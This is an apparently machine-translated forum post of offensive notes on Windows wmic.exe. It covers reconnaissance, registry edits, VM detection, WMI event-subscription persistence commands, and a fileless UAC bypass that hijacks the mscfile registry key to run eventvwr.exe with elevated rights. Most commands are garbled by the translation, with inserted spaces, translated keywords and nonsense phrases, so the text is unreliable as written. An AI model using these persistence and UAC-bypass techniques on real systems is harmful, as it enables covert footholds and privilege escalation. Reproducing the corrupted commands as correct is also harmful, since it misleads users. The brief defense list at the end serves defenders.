跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

使用wmic.exe研究WMI持久性的笔记


KaiWn

推荐的帖子

0x00 前言

最近学习了matt Graeber @ matti festigation分享的方法《WMI Persistence using wmic.exe》 ,让我对WMI的攻击技巧有了新的认识,本文将结合之前的研究心得,分享利用wmic的一些技巧。

参考资料:

http://www。剥削-星期一。com/2016/08/wmi-持久性-使用-wmic。超文本标记语言

0x01 简介

在之前的文章《WMI Attacks》 、 《WMI Backdoor》 、 《WMI Defense》 中分享了通过Poweshell和最高观测频率(最大观察频率)调用WMI实现的攻击技巧,

同样,使用wmic.exe也能达到相同的效果,而且更加直接,只要在煤矿管理局下直接运行命令就好。

0x02 搜集信息

获取操作系统相关信息

poweshell代码如下:

get-wmio object-Namespace ROOT \ CIM v2-Class Win32 _ operating system

2-1.PNG

换成wmic.exe的命令为:

wmic/NAMESPACE:"\ \ root \ CIM v2 "路径Win32_OperatingSystem

回显如图

2-2.PNG

注:

回显内容的格式没有对齐,需要添加参数指定输出格式

按照powershell回显的分行显示,需要添加如下参数:

wmic/NAMESPACE:"\ \ root \ CIM v2 "路径Win32 _操作系统GET/all/FORMAT:list

如图

2-3.PNG

依此格式,其他通过powershell调用wmi查询的方法均可用wmic实现,例如:

powershell代码:

get-wmio object-Namespace ROOT \ CIM v2-Class Win32 _ ComputerSystem

对应

wmic/NAMESPACE:"\ \ root \ CIM v2 "路径win32 _ ComputerSystem GET/all/FORMAT:list

将结果输出到文件的方法:

wmic/OUTPUT:c:\ test \ 1txt/NAMESPACE:"\ \ root \ CIM v2 "路径win32 _ ComputerSystem GET/all/FORMAT:list

0x03 注册表操作

powershell代码如下:

get-wmio object-Namespace ROOT \ DEFAULT-Class StdRegProv

推送位置HKLM:软件\微软\ Windows \当前版本\重命名文件

Get-ItemProperty系统

完整的wmic代码如下:

枚举子项:

wmic/namespace:"\ \ root \ default "路径stdregprov调用枚举键^h80000002,'software\microsoft\windows\currentversion\renamefiles'

注册表内容如图

2-4.PNG

命令返回的结果如图

2-5.png

注:

方法执行成功不代表一定能够获得正确的返回结果,此处需要注意参数的正确填写,如图2-6,故意漏掉",仍然提示方法执行成功,但返回结果错误

枚举指定的关键值:

wmic/namespace:' \ \ root \ default ' path stdreg prov调用枚举值^h80000002,'software\microsoft\windows\currentversion\renamefiles\sys'

返回结果如图

2-7.png

获取指定值的字符串数据值:

wmic/namespace:“\ \ root \ default”路径stdreg prov调用获取^h80000002,'software\microsoft\windows\currentversion\renamefiles\sys','tasksdir'字符串值

返回结果如图

2-8.png

创建子项:

wmic/namespace:"\ \ root \ default "路径stdregprov调用创建键^h80000002,'software\microsoft\windows\currentversion\renamefiles\test'

返回结果如图

2-9.png

注:

需要注意权限问题,此处需要管理员权限

设置一个命名值的字符串值:

wmic/namespace:“\ \ root \ default”路径stdreg prov调用设置字符串值^h80000002,'software\microsoft\windows\currentversion\renamefiles\test','data','name'

返回结果如图

3-1.png

注:

如果一个命名值不存在,则新建;如果存在,则为修改

删除子项:

wmic/namespace:"\ \ root \ default "路径stdregprov调用删除键^h80000002,'software\microsoft\windows\currentversion\renamefiles\test'

删除设置一个命名值:

wmic/namespace:"\ \ root \ default "路径stdregprov调用删除值^h80000002,'software\microsoft\windows\currentversion\renamefiles\test','name'

注:

以上参数说明参考自https://msdn。微软。com/en-us/library/aa 393664(vs . 85).aspx

特殊字符^H80000002含义如下:

80000000 HKEY类_根

HKEY _当前_用户

H80000002 ' HKEY _本地_机器

h 80000003 ' HKEY _用户

H80000005 'HKEY当前配置

0x04 虚拟机检测

1、查看TotalPhysicalMemory和NumberOfLogicalProcessors

wmic/NAMESPACE:"\ \ root \ CIM v2 "路径win32 _ ComputerSystem GET number of logical processors,TotalPhysicalMemory/FORMAT:list

返回结果如图

3-2.png

2、查看当前进程

wmic/NAMESPACE:"\ \ root \ CIM v2 "路径Win32_Process GET标题/格式:列表

0x05 WMI Persistence

Powershell完整的实现代码如下:

$filterName='BotFilter82 '

$consumerName='BotConsumer23 '

$ exePath=' C:\ Windows \ System32 \ notepad。' exe '

$ Query=' SELECT * FROM _ _ InstanceModificationEvent 60内,其中TargetInstance是win32 _ performatteddata _ perfs _ System“”

$ WMIEventFilter=Set-wmi instance-Class _ _ event filter-NameSpace ' root \ subscription '-Arguments @ { Name=$ filterName;event namespace=' root \ CIM v2 Query language=' wql Query=$ Query }-错误操作停止

$ wmie vent consumer=Set-wmi instance-Class CommandLineEventConsumer-Namespace ' root \ subscription '-Arguments @ { Name=$ consumer Name;executable path=$ exePathCommandLineTemplate=$ exe path }

set-wmi instance-Class _ _ FilterToConsumerBinding-Namespace ' root \ subscription '-Arguments @ { Filter=$ WMIEventFilter;Consumer=$ WMIEventConsumer }

接下来分步介绍对应wmic调用的过程

1、Create an __EventFilter instance

wmic/NAMESPACE:' \ \ root \ subscription ' PATH _ _ event filter CREATE Name=' bot filter 82 ',EventNameSpace='root\cimv2 ',QueryLanguage='WQL ',Query=' SELECT * FROM _ _ instance modification event WITHIN 60 WHERE target instance is ' Win32 _ PerfFormattedData _ PerfOS _ System ' '

2、Create an __EventConsumer instance

wmic/NAMESPACE:" \ \ root \ subscription "路径CommandLineEventConsumer CREATE Name=' bot consumer 23 ',可执行路径=' C:\ Windows \ System32 \ notepad。' exe ',命令行模板=' C:\ Windows \ System32 \ notepad。' exe '

3、Create a __FilterToConsumerBinding instance

wmic/NAMESPACE:" \ \ root \ subscription " PATH _ _ FilterToConsumerBinding CREATE Filter=" _ _ event Filter " .Name='BotFilter82 ' ',Consumer=' CommandLineEventConsumer .Name='BotConsumer23 ' '

4、List the __EventFilter and __EventConsumer instances

Filters:

wmic/NAMESPACE:" \ \ root \ subscription " PATH _ _ event filter GET _ _ RELPATH/FORMAT:list

Event Consumers:

wmic/NAMESPACE:" \ \ root \ subscription "路径CommandLineEventConsumer GET _ _ RELPATH/FORMAT:list

Event Bindings:

wmic/NAMESPACE:" \ \ root \ subscription " PATH _ _ FilterToConsumerBinding GET _ _ RELPATH/FORMAT:list

通过powershell下查看的代码:

Filters:

get-wmio object-Namespace root \ Subscription-Class _ _事件筛选器

Event Consumers:

get-wmio object-Namespace root \ Subscription-Class _ _事件使用者

Event Bindings:

get-wmio object-Namespace root \ Subscription-Class _ _ FilterToConsumerBinding

5、Remove all instances

Filters:

wmic/NAMESPACE:" \ \ root \ subscription " PATH _ _ event filter WHERE Name=' bot filter 82 ' DELETE

Event Consumers:

wmic/NAMESPACE:" \ \ root \ subscription "路径CommandLineEventConsumer WHERE Name=' bot consumer 23 ' DELETE

Event Bindings:

wmic/NAMESPACE:" \ \ root \ subscription " PATH _ _ FilterToConsumerBinding其中Filter="_ _事件过滤器" .Name='BotFilter82 ' '删除

注:

wmic中有约束力的的过滤器判断参数"波特过滤器82 "中"要变成'

通过powershell清除的实现代码:

Filters:

get-wmio object-Namespace root \ Subscription-Class _ _ event Filter-Filter ' Name=' bot Filter 82 ' ' | Remove-wmio object-Verbose

Event Consumers:

get-wmio object-Namespace root \ Subscription-Class CommandLineEventConsumer-Filter ' Name=' bot consumer 23 ' ' | Remove-wmio object-Verbose

Event Bindings:

get-wmio object-Namespace root \ Subscription-Class _ _ FilterToConsumerBinding-Filter ' _ _ Path LIKE“% botfilter 82%”| Remove-wmio object-Verbose

0x05 fileless uac bypass using eventvwr exe and registry hijacking

wmic的部分操作需要管理员权限,在这里补充一个刚学到的UACbypass技巧

fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking

学习链接:

https://谜0x 3。net/2016/08/15/file less-UAC-绕过-使用-eventvwr-exe-and-注册表-劫持/

作者:

马特尼尔森@谜0x3

原理

在进程eventvwr.exe启动的时候,首先查找注册表位置HKCU软件\类\mscfile\shell\open\command,如果该处为空,接着查找注册表位置HKCR \ MSC文件\外壳\打开\命令(此处默认值为% SystemRoot % \ system32 \ MMC。exe“% 1“% *”,以高权限启动mmc.exe,最后打开eventvwr.msc。

如图

3-3.png

接下来,如果在注册表HKCU软件\类\mscfile\shell\open\command中添加有效载荷,就可以在启动mmc.exe之前执行预设的有效载荷

最重要的一点:

修改注册表HKCU软件\类\mscfile\shell\open\command的键值只需要普通用户权限即可

实现

作者分享了通过powershell实现的验证性测试(概念验证的缩写)代码,链接如下:

https://github。com/enigma0x 3/Misc-PowerShell-Stuff/blob/master/Invoke-eventvwrbypass。PS1

如果验证性测试(概念验证的缩写)成功执行,会在C:\UACBypassTest下写入"被提升:真"

注:

默认操作丙:\目录下的文件会被uac拦截

我叉了作者的代码,作了细微修改,运行如下命令:

c:\ Windows \ System32 \ cmd。exe/c复制c:\ test \ 1。txt c:\ 1。文本文件(textfile)

地址为:

https://github。com/3g学生/UAC-Bypass/blob/master/Invoke-eventvwrbypass。PS1

优点

该方法同常规的方法有很大不同,优点如下:

无文件

不需要进程注入

不需要复制特权文件

适用环境

Win7

Win8.1

Win 10

防御

将UAC级别设置为"始终通知"

从本地管理员组中删除当前用户

对HKCU软件\类中的新注册表项发出警报

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...